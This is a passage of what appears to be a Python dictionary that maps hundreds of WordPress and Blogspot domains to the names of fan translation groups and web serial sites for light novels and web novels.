	'ahasintsoa.wordpress.com'                        : 'Pea\'s Kingdom',
	'alcsel.wordpress.com'                            : 'Alcsel Translations',
	'aldnoahextrathetranslation.wordpress.com'        : '(NanoDesu) - Aldnoah Zero',
	'alicetranslations.wordpress.com'                 : 'Alice Translations',
	'alyschu.wordpress.com'                           : 'Alyschu & Co',
	'amaburithetranslation.wordpress.com'             : '(NanoDesu) - Amagi Brilliant Park ',
	'amber99y.wordpress.com'                          : 'C-Novel Tranlations…',
	'anathemaserial.wordpress.com'                    : 'Anathema Serial',
	'anonempireblog.wordpress.com'                    : 'Anon Empire',
	'aoritranslations.wordpress.com'                  : 'Aori Translations',
	'apearlyview.wordpress.com'                       : 'A Pearly View',
	'aquascans.wordpress.com'                         : 'Aqua Scans',
	'archivitysite.wordpress.com'                     : 'Archivity',
	'asiancult.wordpress.com'                         : 'The Asian Cult',
	'asiandramalife.wordpress.com'                    : 'Xiaowen206\'s Blog',
	'asylumtranslations.wordpress.com'                : 'Asylum Translations',
	'atentranslationswordpresscom.wordpress.com'      : 'Aten Translations',
	'azurro4cielo.wordpress.com'                      : 'Azurro 4 Cielo',
	'bakapervert.wordpress.com'                       : 'Baka Pervert',
	'bcat00.wordpress.com'                            : 'Bcat00 Translation',
	'bearbeartranslations.wordpress.com'              : 'Bear Bear Translations',
	'beehugger.wordpress.com'                         : 'Beehugger',
	'berserksite.wordpress.com'                       : 'BeRsErk Translations',
	'bingnovels.wordpress.com'                        : 'Binggo&Corp',
	'binhjamin.wordpress.com'                         : 'Binhjamin',
	'bluesilvertranslations.wordpress.com'            : 'Blue Silver Translations',
	'bureidanworks.wordpress.com'                     : 'Burei Dan Works',
	'calicoxtabby.wordpress.com'                      : 'Calico x Tabby',
	'canonrap.wordpress.com'                          : 'Quality ★ Mistranslations',
	'casprojectsite.wordpress.com'                    : 'Cas Project Site',
	'casteliacones.wordpress.com'                     : 'Cheddar!',
	'cathdeary.wordpress.com'                         : 'Romantic Dreamer\'s Sanctuary',
	'catinghampalace.wordpress.com'                   : 'Nekoyashiki',
	'ceruleonice.wordpress.com'                       : 'Ceruleonice Translations',
	'chineseweabootranslations.wordpress.com'         : 'Chinese Weaboo Translations',
	'choukun.wordpress.com'                           : 'ELYSION Translation',
	'chubbycheeksthoughts.wordpress.com'              : 'ChubbyCheeks',
	'chubbycheeksthoughts.com'                        : 'ChubbyCheeks',
	'circleofshards.wordpress.com'                    : 'Circle of Shards',
	'cloudmanor.wordpress.com'                        : 'Cloud Manor',
	'clover7snook.wordpress.com'                      : 'Clover\'s Nook',
	'cnovels2c.wordpress.com'                         : 'C Novels 2 C',
	'cookiepastatranslations.wordpress.com'           : 'CookiePasta',
	'cosmictranslation.wordpress.com'                 : 'Cosmic Translation',
	'crackofdawntranslations.wordpress.com'           : 'Crack of Dawn Translations',
	'crystalraindescends.wordpress.com'               : 'CrystalRainDescends',
	'ctrlalcala.wordpress.com'                        : 'CtrlAlcalá',
	'd3wynightunr0lls.wordpress.com'                  : 'Dewey Night Unrolls',
	'dailehtranslations.wordpress.com'                : 'NOT Daily Translations',
	'daoseekerblog.wordpress.com'                     : 'Dao Seeker Blog',
	'darkfishoftherevolution.wordpress.com'           : 'A fish once said this to me',
	'darktranslations.wordpress.com'                  : 'Dark Translations',
	'dawninghowls.wordpress.com'                      : 'Dawning Howls',
	'defan752.wordpress.com'                          : 'Defan\'s Translations',
	'defiring.wordpress.com'                          : 'Defiring',
	'demontranslations.wordpress.com'                 : 'Demon Translations',
	'descentsubs.wordpress.com'                       : 'Descent Subs',
	'distractedchinese.wordpress.com'                 : 'Distracted Chinese',
	'distractedtranslations.wordpress.com'            : 'Distracted Translations',
	'diwasteman.wordpress.com'                        : 'Diwasteman',
	'dlingson.wordpress.com'                          : 'Lingson\'s Translations',
	'dorayakiz.wordpress.com'                         : 'Dorayakiz',
	'dragomircm.wordpress.com'                        : "DragomirCM",
	'dramasbooksandtea.wordpress.com'                 : 'Dramas, Books & Tea',
	'dreamavenuee.wordpress.com'                      : 'Dream Avenue',
	'durandaru.wordpress.com'                         : 'Duran Daru Translation',
	'dynamislightnovel.wordpress.com'                 : 'Dynamis Gaul Light Novel',
	'endkun.wordpress.com'                            : 'EndKun',
	'endonline.wordpress.com'                         : 'End Online Novel',
	'ente38.wordpress.com'                            : 'Ente38 translations',
	'epyontranslations.wordpress.com'                 : 'Epyon Translations',
	'etheriatranslation.wordpress.com'                : 'Etheria Translations',
	'eyeofadventure.wordpress.com'                    : 'Eye of Adventure ',
	'eztranslations.wordpress.com'                    : 'EZ Translations',
	'faildoor.wordpress.com'                          : 'Emergency Exit\'s Release Blog',
	'farmerbob1.wordpress.com'                        : 'Symbiote',
	'fateapocryphathetranslation.wordpress.com'       : '(NanoDesu) - Fate/Apocrypha',
	'fightingdreamersscanlations.wordpress.com'       : 'Fighting Dreamers Scanlations',
	'firebirdsnest.wordpress.com'                     : 'Firebird\'s Nest',
	'firebirdsnest.org'                               : 'Firebird\'s Nest',
	'fivestarspecialists.wordpress.com'               : 'Five Star Specialists',
	'flickerhero.wordpress.com'                       : 'Flicker Hero',
	'flowerbridgetoo.wordpress.com'                   : 'Flower Bridge Too',
	'forgottenconqueror.wordpress.com'                : 'Forgotten Conqueror',
	'fromwhencecamethenamed.wordpress.com'            : 'The Named',
	'frostfire10.wordpress.com'                       : 'Frostfire 10',
	'fungshen.wordpress.com'                          : 'Fung Shen',
	'fuyuugakuenthetranslation.wordpress.com'         : '(NanoDesu) - Fuyuu Gakuen no Alice and Shirley',
	'fuzionlife.wordpress.com'                        : 'Fuzion Life',
	'gargoyleserial.wordpress.com'                    : 'Gargoyle Web Serial',
	'gekkahimethetranslation.wordpress.com'           : '(NanoDesu) - Gekka no Utahime to Magi no Ou',
	'gilatranslationmonster.wordpress.com'            : 'Gila Translation Monster',
	'ginironochou.wordpress.com'                      : 'Silver Butterfly',
	'gjbuthetranslation.wordpress.com'                : '(NanoDesu) - GJ-Bu',
	'goddessgrantmeagirlfriend.wordpress.com'         : 'Goddess! Grant Me a Girlfriend!!',
	'gravitytranslations.wordpress.com'               : 'Gravity Tales',
	'grimgalthetranslation.wordpress.com'             : '(NanoDesu) - Hai to Gensou no Grimgal',
	'hajiko.wordpress.com'                            : 'Hajiko translation',
	'hamster428.wordpress.com'                        : 'Hamster428',
	'hanagiku.wordpress.com'                          : 'My Purple World',
	'heartcrusadescans.wordpress.com'                 : 'Heart Crusade Scans',
	'heavenlystartranslations.wordpress.com'          : 'Heavenly Star Translations',
	'hellotranslations.wordpress.com'                 : 'Hello Translations',
	'hendricksensama.wordpress.com'                   : 'Hendricksen-sama',
	'hennekothetranslation.wordpress.com'             : '(NanoDesu) - Hentai Ouji to Warawanai Neko',
	'henoujikun.wordpress.com'                        : 'Henouji Translation',
	'hokagetranslations.wordpress.com'                : 'Hokage Translations',
	'holdxandclick.wordpress.com'                     : 'Hold \'X\' and Click',
	'hotcocoatranslations.wordpress.com'              : 'Hot Cocoa Translations',
	'hui3r.wordpress.com'                             : 'Fanatical',
	'ichigoichiebanzai.wordpress.com'                 : '一期一会, 万歳!',
	'imperialwinters.wordpress.com'                   : 'Snow & Dust',
	'infinitenoveltranslations.wordpress.com'         : 'Infinite Novel Translations',
	'infinitetranslations.wordpress.com'              : 'Infinite Translations',
	'insigniapierce.wordpress.com'                    : 'Insignia Pierce',
	'intensedessugar.wordpress.com'                   : 'IntenseDesSugar',
	'intensedessugar.com'                             : 'IntenseDesSugar',
	'isekaicyborg.wordpress.com'                      : 'Isekai Soul-Cyborg Translations',
	'isekailunatic.wordpress.com'                     : 'Reigokai: Isekai Translations',
	'isekaimahou.wordpress.com'                       : 'Isekai Mahou Translations!',
	'isolarium.wordpress.com'                         : 'Isolarium',
	'itranslateln.wordpress.com'                      : 'itranslateln',
	'izra709.wordpress.com'                           : 'izra709 | B Group no Shounen Translations',
	'jammerg55.wordpress.com'                         : '「　」',
	'jerutz.wordpress.com'                            : 'JeruTz\'s Blog',
	'jjagaimo.wordpress.com'                          : 'Jagaimo',
	'jntranslation.wordpress.com'                     : 'Solitary Translation',
	'joeglens.wordpress.com'                          : 'Joeglens\' Translation Space',
	'jtranslashions.wordpress.com'                    : 'Web Novel Japanese Translation',
	'kahoim.wordpress.com'                            : 'Kahoim Translations',
	'kakemonoko.wordpress.com'                        : 'A Place Of Legends',
	'kamitranslation.wordpress.com'                   : 'Kami Translation',
	'kedelu.wordpress.com'                            : 'Kedelu',
	'kerambitnosakki.wordpress.com'                   : 'Kerambit\'s Incisions',
	'kingjaahn.wordpress.com'                         : 'King Jaahn\'s Subjects',
	'kirikotranslations.wordpress.com'                : 'Kiriko Translations',
	'kirileaves.wordpress.com'                        : 'Kiri Leaves',
	'knoktranslations.wordpress.com'                  : 'Knokkro Translations',
	'kntranslation.wordpress.com'                     : 'KN Translation',
	'kobatochandaisuki.wordpress.com'                 : 'KobatoChanDaiSukiScan',
	'kongetsume.wordpress.com'                        : '天才創造すなわち百合',
	'konobuta.wordpress.com'                          : 'Konobuta',
	'koreyorihachidori.wordpress.com'                 : 'Kore Yori Hachidori',
	'korezombiethetranslation.wordpress.com'          : '(NanoDesu) - Kore wa Zombie Desu ka?',
	'kumaotou.wordpress.com'                          : 'Kuma Otou',
	'kurenaithetranslation.wordpress.com'             : '(NanoDesu) - Kurenai',
	'kurotranslations.wordpress.com'                  : 'Kuro Translations',
	'kyakka.wordpress.com'                            : 'Kyakka Translations',
	'lagnos.wordpress.com'                            : 'lagnos.wordpress.com',
	'larvyde.wordpress.com'                           : 'Larvyde',
	'lasciviousimouto.wordpress.com'                  : 'Lascivious Imouto',
	'lasciviousimouto.net'                            : 'Lascivious Imouto',
	'lastexorcist.wordpress.com'                      : 'The Sphere',
	'lastvoicetranslator.wordpress.com'               : 'Lastvoice Translator',
	'layzisheep.wordpress.com'                        : 'Layzisheep',
	'lazyneet.wordpress.com'                          : 'Lazy NEET Translations',
	'linkedtl.wordpress.com'                          : 'Linked Translations',
	'liveandlearn88.wordpress.com'                    : 'Grow with me',
	'lizardtranslations.wordpress.com'                : 'Lizard Translations',
	'lnaddiction.wordpress.com'                       : 'Ln Addiction',
	'loiterous.wordpress.com'                         : 'Loiterous',
	'loliquent.wordpress.com'                         : 'Loliquent',
	'lorcromwell.wordpress.com'                       : 'LorCromwell',
	'lordofscrubs.wordpress.com'                      : 'LordofScrubs',
	'loveyouthetranslation.wordpress.com'             : '(NanoDesu) - Love★You',
	'lsdell.com'                                      : 'Taint',
	'luentranslations.wordpress.com'                  : 'Luen Translations',
	'lunaris111.wordpress.com'                        : 'Lunaris',
	'lygartranslations.wordpress.com'                 : 'LygarTranslations',
	'lylisasmodeus.wordpress.com'                     : 'Lylis Translations',
	'machineslicedbread.wordpress.com'                : 'Machine Sliced Bread',
	'www.machineslicedbread.xyz'                      : 'Machine Sliced Bread',
	'madospicy.wordpress.com'                         : 'MadoSpicy TL',
	'mahoutsuki.wordpress.com'                        : 'Mahoutsuki Translation',
	'makinatranslations.wordpress.com'                : 'Makina Translations',
	'manatankmagus.wordpress.com'                     : 'Mana Tank Magus',
	'manga0205.wordpress.com'                         : 'Manga0205 Translations',
	'maoyuuthetranslation.wordpress.com'              : '(NanoDesu) - Maoyuu Maou Yuusha',
	'martialgodtranslator.wordpress.com'              : 'Martial God Translator',
	'mayochikithetranslation.wordpress.com'           : '(NanoDesu) - Mayo Chiki',
	'mechamushroomtranslations.wordpress.com'         : 'Mecha Mushroom Translations',
	'megacarp.wordpress.com'                          : 'Blublub',
	'metalhaguremt.wordpress.com'                     : '1HP',
	'miaomix539.wordpress.com'                        : 'Yet Another Translation Site',
	'midnighttranslationblog.wordpress.com'           : 'Midnight Translation Blog',
	'mnemeaa.wordpress.com'                           : 'Mnemeaa',
	'monktranslation.wordpress.com'                   : 'Monk Translation',
	'morrighansucks.wordpress.com'                    : 'Morrighan Sucks',
	'mystiquetranslations.wordpress.com'              : 'Mystique Translations',
	'mythicalpagoda.wordpress.com'                    : 'Mythical Pagoda',
	'n00btranslations.wordpress.com'                  : 'N00b Translations',
	'nanjamora.wordpress.com'                         : 'Nanjamora',
	'nanodesutranslations.wordpress.com'              : 'NanoDesu Light Novel Translations',
	'nationalneet.wordpress.com'                      : 'National NEET',
	'natsutl.wordpress.com'                           : 'Natsu TL',
	'neettranslations.wordpress.com'                  : 'NEET Translations',
	'netblazer.wordpress.com'                         : 'Blazing Translations',
	'nightofthehuntingparty.wordpress.com'            : 'When The Hunting Party Came',
	'nightraccoon.wordpress.com'                      : 'Konjiki no Wordmaster',
	'nohohontranslations.wordpress.com'               : 'Nohohon Translation',
	'noone2246.wordpress.com'                         : 'Maou na Anoko to murabito a',
	'novelaffairs.wordpress.com'                      : 'Novel Affairs',
	'noveltrans.wordpress.com'                        : 'Novel Trans',
	'novicetranslator.wordpress.com'                  : 'NoviceTranslator',
	'nowhereandnothingwebserial.wordpress.com'        : 'Nowhere & Nothing',
	'nuttyisprocrasinating.wordpress.com'             : 'Nutty is Procrastinating',
	'ohanashimi.wordpress.com'                        : 'Ohanashimi',
	'ojamajothetranslation.wordpress.com'             : '(NanoDesu) - Ojamajo Doremi',
	'oktranslation.wordpress.com'                     : 'OK Translation',
	'omatranslations.wordpress.com'                   : 'One Man Army Translations',
	'omegaharem.wordpress.com'                        : 'Omega Harem',
	'omgitsaray.wordpress.com'                        : 'Omgitsaray Translations',
	'oniichanyamete.wordpress.com'                    : 'お兄ちゃん、やめてぇ！',
	'orangeblossomdreams.wordpress.com'               : 'Tsukigomori',
	'oregaheroineeng.wordpress.com'                   : 'Ore ga Heroine in English',
	'oregairuthetranslation.wordpress.com'            : '(NanoDesu) - Yahari Ore no Seishun Love Come wa Machigatteiru',
	'oreimothetranslation.wordpress.com'              : '(NanoDesu) - Oreimo',
	'originnovels.wordpress.com'                      : 'Origin Novels',
	'otomerevo.wordpress.com'                         : 'Otome Revolution',
	'otterspacetranslation.wordpress.com'             : 'otterspacetranslation',
	'outspanfoster.wordpress.com'                     : 'Outspan Foster',
	'pactwebserial.wordpress.com'                     : 'Pact Web Serial',
	'pandafuqtranslations.wordpress.com'              : 'pandafuqtranslations',
	'parahumans.wordpress.com'                        : 'Worm - A Complete Web Serial',
	'patriarchreliance.wordpress.com'                 : 'Patriarch Reliance',
	'paztok.wordpress.com'                            : 'Paztok',
	'peatranslation.wordpress.com'                    : 'Pea Translation',
	'pikatranslations.wordpress.com'                  : 'Pika Translations',
	'pippisite.wordpress.com'                         : 'Pippi Site',
	'pirateyoshi.wordpress.com'                       : 'Ziru\'s Musings | Translations~',
	'zirusmusings.com'                                : 'Ziru\'s Musings | Translations~',
	'pizzasandcoke.wordpress.com'                     : 'Madao Translations',
	'plainlybored.wordpress.com'                      : 'PlainlyBored',
	'polyphonicstory.wordpress.com'                   : 'Polyphonic Story Translation Group',
	'priddles.wordpress.com'                          : 'Priddles Translations',
	'pummels.wordpress.com'                           : 'Pummels Translations',
	'putttytranslations.wordpress.com'                : 'putttytranslations',
	'qualideascumthetranslation.wordpress.com'        : 'Qualidea of Scum and a Gold Coin',
	'qualiteatranslations.wordpress.com'              : 'QualiTeaTranslations',
	'rainbowtranslationsblog.wordpress.com'           : 'Rainbow Translations',
	'rainingstardust.wordpress.com'                   : 'Weaving stories and building castles in the clouds',
	'raltzero.wordpress.com'                          : 'Currently TLing [Bu ni Mi]',
	'rancerqz.wordpress.com'                          : 'RANCER',
	'reantoanna.wordpress.com'                        : 'ℝeanとann@',
	'rebirthonlinelightnovel.wordpress.com'           : 'Rebirth Online',
	'reddragontranslations.wordpress.com'             : 'Red Dragon Translations',
	'rhinabolla.wordpress.com'                        : 'Rhinabolla',
	'risingdragons.wordpress.com'                     : 'Rising Dragons Translation',
	'rokkathetranslation.wordpress.com'               : '(NanoDesu) - Rokka no Yuusha',
	'rosyfantasy.wordpress.com'                       : 'Rosyfantasy - Always Dreaming',
	'rosyfantasy.net'                                 : 'Rosyfantasy - Always Dreaming',
	'rumorblock.wordpress.com'                        : 'Rumor\'s Block',
	'ruzetranslations.wordpress.com'                  : 'Ruze Translations',
	'sabertranslations.wordpress.com'                 : 'Saber Translations',
	'saekanothetranslation.wordpress.com'             : '(NanoDesu) - Saenai Heroine no Sodatekata',
	'saibaichiroku.wordpress.com'                     : 'Nooblate',
	'sakurahonyaku.wordpress.com'                     : '桜翻訳! | Light novel translations',
	'sasamisanthetranslation.wordpress.com'           : '(NanoDesu) - Sasami-San@Ganbaranai',
	'saurimania.wordpress.com'                        : 'Sauri\'s TL Blog',
	'scryatranslations.wordpress.com'                 : 'Scrya Translations',
	'seizonthetranslation.wordpress.com'              : '(NanoDesu) - Seitokai no Ichizon',
	'sekaigamethetranslation.wordpress.com'           : '(NanoDesu) - Kono Sekai ga Game Dato Ore Dake ga Shitteiru',
	'selkinnovel.wordpress.com'                       : 'Selkin Novel',
	'selkinnovel.com'                                 : 'Selkin Novel',
	'setsuna86blog.wordpress.com'                     : 'SETSUNA86BLOG',
	'shermatranslations.wordpress.com'                : 'Sherma Translations',
	'shincodezeroblog.wordpress.com'                  : 'Code-Zero\'s Blog',
	'shinsoritranslations.wordpress.com'              : 'Shinsori Translations',
	'shintranslations.wordpress.com'                  : 'Shin Translations',
	'shinynewjustice.wordpress.com'                   : 'Sins of the Fathers',
	'shokyuutranslations.wordpress.com'               : 'Shokyuu Translations',
	'silenttl.wordpress.com'                          : 'Silent Tl',
	'silvalau.wordpress.com'                          : 'Silva\'s Library',
	'skyworldthetranslation.wordpress.com'            : '(NanoDesu) - Sky World',
	'slimelv1.wordpress.com'                          : 'Slime Lv1',
	'slothtranslations.wordpress.com'                 : '-Sloth-',
	'snowjadeflowers.wordpress.com'                   : 'A Translator\'s Ramblings',
	'soaringtranslations.wordpress.com'               : 'Soaring Translations',
	'solitarytranslation.wordpress.com'               : 'Solitary Translation',
	'soojiki.wordpress.com'                           : 'Soojiki\'s Project',
	'soratranslationsblog.wordpress.com'              : 'Sora Translations',
	'sorotrans.wordpress.com'                         : 'sorotrans.wordpress.com',
	'sotranslations.wordpress.com'                    : 'Supreme Origin Translations',
	'stcon.wordpress.com'                             : 'Stellar Transformation Con.',
	'stltranslations.wordpress.com'                   : 'STL Translations',
	'stoneburners.wordpress.com'                      : 'Stone Burners',
	'summiesdummyworld.wordpress.com'                 : 'World of Summie',
	'sunshowerfields.wordpress.com'                   : 'Sun Shower Fields',
	'superpotatotrans.wordpress.com'                  : 'Super Potato Translations',
	'sut3kii.wordpress.com'                           : 'Suteki Da Ne',
	'sylver135.wordpress.com'                         : 'Sylver Translations',
	'taffygirl13.wordpress.com'                       : '~Taffy Translations~',
	'taulsn.wordpress.com'                            : 'Raising Angels & Defection',
	'tensaitranslations.wordpress.com'                : 'Tensai Translations',
	'terminustranslations.wordpress.com'              : 'Terminus Translation',
	'thatguywhosthere.wordpress.com'                  : 'ThatGuyOverThere',
	'the4everreader.wordpress.com'                    : 'L2M',
	'theadamantinedragon.wordpress.com'               : 'Adamantine Dragon in the Crystal World',
	'thecatscans.wordpress.com'                       : 'Cat Scans',
	'thedefend.wordpress.com'                         : 'TheDefend Translations',
	'themustangtranslator.wordpress.com'              : 'The Mustang Translator',
	'theworsttranslation.wordpress.com'               : 'Bad Translation',
	'thundertranslations.wordpress.com'               : 'Thunder Translation',
	'tieshaunn.wordpress.com'                         : 'Tieshaunn',
	'tmbrakta.wordpress.com'                          : 'All\'s Fair In Love & War',
	'tofubyu.wordpress.com'                           : 'Tofubyu',
	'tomorolls.wordpress.com'                         : 'Tomorolls',
	'translatedbyaclown.wordpress.com'                : 'Translated by a Clown',
	'trippingoverwn.wordpress.com'                    : 'Tripp Translations',
	'trueidentitynovel.wordpress.com'                 : 'Origin Novels',
	'trungtnguyen123.wordpress.com'                   : 'Trungt Nguyen 123',
	'trungtnguyen123.org'                             : 'Trungt Nguyen 123',
	'tsaltranslation.wordpress.com'                   : 'Light Novel translations',
	'tsuigeki.wordpress.com'                          : 'Tsuigeki Translations',
	'tthcs.wordpress.com'                             : 'Ten Thousand Heaven Controlling Sword',
	'tumbleintofantasy.wordpress.com'                 : 'Tumble Into Fantasy',
	'tusjecht.wordpress.com'                          : 'Tus-Trans',
	'twistedcogs.wordpress.com'                       : 'Twisted Cogs',
	'typemoondb.wordpress.com'                        : 'CapsUsingShift Tl',
	'ultimatearcane.wordpress.com'                    : 'Ultimate Arcane',
	'unbreakablemachinedoll.wordpress.com'            : 'Unbreakable Machine Doll',
	'undecentlnt.wordpress.com'                       : 'Undecent Translations',
	'unlimitedstoryworks.wordpress.com'               : 'Unlimited Story Works',
	'uselessno4.wordpress.com'                        : 'Useless no 4',
	'vaancruze.wordpress.com'                         : 'VaanCruze',
	'vaancruze.com'                                   : 'VaanCruze',
	'verathragna.wordpress.com'                       : 'Verathragana Stories',
	'verathragna.com'                                 : 'Verathragana Stories',
	'villagetranslations.wordpress.com'               : 'Village Translations',
	'voidtranslations.wordpress.com'                  : 'Void Translations',
	'walkingthestorm.wordpress.com'                   : 'Walking the Storm',
	'walkthejianghu.wordpress.com'                    : 'Walk the Jiang Hu',
	'wartdf.wordpress.com'                            : 'Raising the Dead',
	'watdameow.wordpress.com'                         : 'Wat Da Meow',
	'watermelonhelmets.wordpress.com'                 : 'Watermelon Helmets',
	'wcctranslation.wordpress.com'                    : 'WCC Translation',
	'weletranslation.wordpress.com'                   : 'Wele Translation',
	'whitetigertranslations.wordpress.com'            : 'White Tiger Translations',
	'willfulcasual.wordpress.com'                     : 'Willful Casual',
	'wolfietranslation.wordpress.com'                 : 'Wolfie Translation',
	'wordofcraft.wordpress.com'                       : 'Word of Craft',
	'wuwuwu555.wordpress.com'                         : 'Wuwuwu555',
	'wuxiaheroes.wordpress.com'                       : 'Wuxia Heroes',
	'wuxiwish.wordpress.com'                          : 'Wuxiwish',
	'www.shinsori.com'                                : 'Shinsori Translations',
	'wwyxhqc.wordpress.com'                           : 'Dreams of Jianghu',
	'xantandminions.wordpress.com'                    : 'Xant & Minions',
	'xantbos.wordpress.com'                           : 'Xant Does Stuff and Things',
	'xcrossj.wordpress.com'                           : 'XCrossJ',
	'xxjohnsmithxx.wordpress.com'                     : 'I\'ve reincarnated, but I\'m a Girl! Wait, am I not even Human?',
	'yellawlaw.wordpress.com'                         : 'Wuxiaworld',
	'yoraikun.wordpress.com'                          : 'Yoraikun Translation',
	'youjinsite.wordpress.com'                        : 'Youjinsite Translations',
	'youkoadvent.wordpress.com'                       : 'Youko Advent',
	'youshokutranslations.wordpress.com'              : 'Youshoku Translations',
	'youtsubasilver.wordpress.com'                    : 'youtsubasilver\'s Blog',
	'zentranslations.wordpress.com'                   : 'Zen Translations',
	'zetianjitranslation.wordpress.com'               : 'Translating Ze Tian Ji',
	'zmunjali.wordpress.com'                          : 'Roxism HQ',
	'sparklingdawnlights.blogspot.com'                : 'Little Translations',
	'tbatenovel.com'                                  : 'The Beginning After The End Novel',
	'thebeginningaftertheendblog.wordpress.com'       : 'The Beginning After The End Novel',
	'theundyingblog.wordpress.com'                    : 'The Undying Cultivator',

	# Blogspot
	'trungnguyenwriter.blogspot.com'                  : 'Trung Nguyen',
	'tlsyosetsu.blogspot.com'                         : 'TL Syosetsu',
	"aquarilasscenario.blogspot.com"                  : "Aquarilas' Scenario",
	"arzengi.blogspot.com"                            : "Towards the Sky~",
	"erosworkshop.blogspot.com"                       : "Eros Workshop",
	"the-last-skull.blogspot.com"                     : "The Last Skull",
	"thezombieknight.blogspot.com"                    : "The Zombie Knight",
	"xhawk77x.blogspot.com"                           : "Universes With Meaning",
	'a0132.blogspot.ca'                               : 'My Translations',
	'a0132.blogspot.com'                              : 'A0132',
	'ahoujicha.blogspot.ca'                           : 'Roasted Tea',
	'ahoujicha.blogspot.com'                          : 'Roasted Tea',
	'azureskytls.blogspot.ca'                         : 'Azure Sky Translation',
	'azureskytls.blogspot.com'                        : 'Azure Sky Translation',
	'azureskytls.blogspot.com.au'                     : 'Azure Sky Translation',
	'azurillturtle.blogspot.com'                      : '輝く世界',
	'bakadogeza.blogspot.com'                         : 'Baka Dogeza Translation',
	'bersekertranslations.blogspot.com'               : 'Berseker Translations',
	'bersekertranslations.blogspot.com.ar'            : 'Berseker Translations',
	'bltranslation.blogspot.com'                      : 'Chinese BL Translations',
	'booksmoviesandbeyond.blogspot.com'               : 'Books Movies and Beyond',
	'bubujingxinenglish.blogspot.co.id'               : 'Startling Surprises at Every Step',
	'bubujingxinenglish.blogspot.com'                 : 'Startling Surprises at Every Step',
	'bubujingxinenglish.blogspot.com.au'              : 'Startling Surprises at Every Step',
	'cetranslation.blogspot.ca'                       : 'C.E. Light Novel Translations',
	'cetranslation.blogspot.com'                      : 'C.E. Light Novel Translations',
	'cetranslation.blogspot.sg'                       : 'C.E. Light Novel Translations',
	'clickyclicktranslation.blogspot.co.uk'           : 'Clicky Click Translation',
	'clickyclicktranslation.blogspot.com'             : 'Clicky Click Translation',
	'cnovelproject.blogspot.com'                      : 'The C-Novel Project',
	'crimsonkisato.blogspot.com'                      : 'Kisato\'s MLTs',
	'dreadfuldecoding.blogspot.com'                   : 'Dreadful Decoding',
	'dreamsleeper87.blogspot.com'                     : 'Lunate',
	'ecwebnovel.blogspot.ca'                          : 'EC Webnovel',
	'ecwebnovel.blogspot.com'                         : 'EC Webnovel',
	'erolns.blogspot.com'                             : 'Ero Light Novel Translations',
	'godawfultranslator.blogspot.co.uk'               : 'God Awful Machine Translator',
	'gurotranslation.blogspot.com'                    : 'Guro Translation',
	'hikuosan.blogspot.com'                           : 'ヾ(。￣□￣)ﾂ',   # I can haz UTF-8 source code?
	'imoutoliciouslnt.blogspot.ca'                    : 'Imoutolicious Light Novel Translations',
	'imoutoliciouslnt.blogspot.com'                   : 'Imoutolicious Light Novel Translations',
	'imoutoliciouslnt.blogspot.com.au'                : 'Imoutolicious Light Novel Translations',
	'imperatorarcana.blogspot.com.au'                 : 'Imperator Arcana',
	'istlovesu.blogspot.com'                          : 'Istian\'s Workshop',
	'istlovesu.blogspot.com.au'                       : 'Istian\'s Workshop',
	'itslovetranslation.blogspot.com'                 : 'Korean Novel Translations',
	'jawztranslations.blogspot.ca'                    : 'JawzTranslations',
	'jawztranslations.blogspot.com'                   : 'JawzTranslations',
	'kaezartranslations.blogspot.com'                 : 'Kaezar Translations',
	'kurotsuki-novel.blogspot.ca'                     : 'Kurotsuki Novel',
	'kurotsuki-novel.blogspot.com'                    : 'Kurotsuki Novel',
	'legendofgalacticheroes.blogspot.com'             : 'Legend of Galactic Heroes Translation Project',
	'lmfyd.blogspot.co.nz'                            : 'Love me if you dare',
	'lmfyd.blogspot.com'                              : 'Love me if you dare',
	'mahoukoukoku.blogspot.com'                       : 'Mahou Koukoku',
	'mahoukoukoku.blogspot.com.au'                    : 'Mahou Koukoku',
	'mtlcorner.blogspot.com'                          : 'Andrew9495\'s MTL corner',
	'nakulas.blogspot.com'                            : '[nakulas]',
	'noitl.blogspot.com'                              : 'Translation Treasure Box',
	'noitl.blogspot.se'                               : 'Translation Treasure Box',
	'onesecondspring.blogspot.com'                    : 'One Second Spring',
	'onesecondspring.blogspot.sg'                     : 'One Second Spring',
	'otakunoeiyaku.blogspot.com'                      : 'Ducky\'s English Translations',
	'panofitrans.blogspot.com'                        : 'Translations From Outer Space',
	'popsiclete.blogspot.com'                         : 'Popsiclete',
	'pumpkintranslations.blogspot.com'                : 'Pumpkin Translations',
	'royalroadweed.blogspot.co.il'                    : 'Royal Road Weed',
	'skythewood.blogspot.com'                         : 'Skythewood translations',
	'skythewood.blogspot.sg'                          : 'Skythewood translations',
	'skythewoodtl.com'                                : 'Skythewood translations',
	'sweetacollections.blogspot.com'                  : 'Sweet A Collections',
	'swordandgame.blogspot.ca'                        : 'Sword and Game',
	'swordandgame.blogspot.com'                       : 'Sword and Game',
	'swordandgame.blogspot.it'                        : 'Sword and Game',
	'tabikonotrans.blogspot.com'                      : 'A traveler\'s translations.',
	'thebathrobeknight.blogspot.com'                  : 'The Bathrobe Knight',
	'thelordofpie.blogspot.com'                       : 'Pielord Translations',
	'thenakedsol.blogspot.com'                        : 'Iterations within a Thought-Eclipse',
	'thenakedsol.blogspot.com.au'                     : 'Iterations within a Thought-Eclipse',
	'thezombieknight.blogspot.co.uk'                  : 'The Zombie Knight',
	'tony-yon-ka.blogspot.com'                        : 'Tony Yon Ka',
	'tony-yon-ka.blogspot.com.au'                     : 'Tony Yon Ka',
	'tu-shu-guan.blogspot.com'                        : '中翻英圖書館 Translations',
	'turb0translation.blogspot.com'                   : 'Turb0 Translation',
	'udonatewetranslate.blogspot.com'                 : 'U Donate We Translate',
	'unnamedtranslations.blogspot.sg'                 : 'Unnamed Translations',
	'untuned-strings.blogspot.ca'                     : 'Untuned Translation Blog',
	'untuned-strings.blogspot.com'                    : 'Untuned Translation Blog',
	'webnoveltranslations.blogspot.com'               : 'Neo Translations',
	'webnoveltranslations.blogspot.in'                : 'Neo Translations',
	'webnoveltranslations.blogspot.se'                : 'Neo Translations',
	'jigglypuffsdiary.com'                            : 'Neo Translations',
	'wishuponahope.blogspot.co.nz'                    : 'Wish Upon A Hope',
	'wishuponahope.blogspot.com'                      : 'Wish Upon A Hope',
	'witchlifenovel.blogspot.com'                     : 'Witch Life Novel',
	'xcrossj.blogspot.com'                            : 'XCrossJ',
	'xcrossj.blogspot.com.au'                         : 'XCrossJ',
	'yukkuri-literature-service.blogspot.com'         : 'Yukkuri Free Time Literature Service',
	'sparklingdawnlights.blogspot.sg'                 : 'Little Translations',
	'tseirptranslations.blogspot.sg'                  : 'Tseirp Translations',
	'tseirptranslations.blogspot.com'                 : 'Tseirp Translations',

